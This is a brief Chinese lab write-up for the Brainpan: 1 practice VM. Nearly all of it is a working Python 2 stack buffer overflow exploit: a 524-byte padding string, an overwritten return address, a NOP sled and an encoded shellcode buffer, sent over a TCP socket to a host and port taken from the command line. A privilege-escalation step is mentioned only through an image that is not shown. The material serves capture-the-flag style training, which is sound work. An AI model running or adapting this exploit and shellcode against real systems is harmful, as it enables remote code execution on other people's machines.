Brainpan: 1靶机提点

脚本如下:

import sys,socket 

buf =  b""
buf += b"\xbd\x0c\x2c\x21\x44\xdb\xc6\xd9\x74\x24\xf4\x5b\x31"
buf += b"\xc9\xb1\x12\x31\x6b\x12\x83\xc3\x04\x03\x67\x22\xc3"
buf += b"\xb1\x46\xe1\xf4\xd9\xfb\x56\xa8\x77\xf9\xd1\xaf\x38"
buf += b"\x9b\x2c\xaf\xaa\x3a\x1f\x8f\x01\x3c\x16\x89\x60\x54"
buf += b"\x69\xc1\xbf\x24\x01\x10\xc0\x25\x69\x9d\x21\x95\xeb"
buf += b"\xce\xf0\x86\x40\xed\x7b\xc9\x6a\x72\x29\x61\x1b\x5c"
buf += b"\xbd\x19\x8b\x8d\x6e\xbb\x22\x5b\x93\x69\xe6\xd2\xb5"
buf += b"\x3d\x03\x28\xb5"


payload="A"*524 + "\xf3\x12\x17\x31" +"\x90"*40 + buf
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((sys.argv[1],int(sys.argv[2])))

print s.recv(1024)
s.send(payload)
print s.recv(1024)
s.close()

提权如下:
Brainpan: 1靶机提点_第1张图片

你可能感兴趣的:(安全)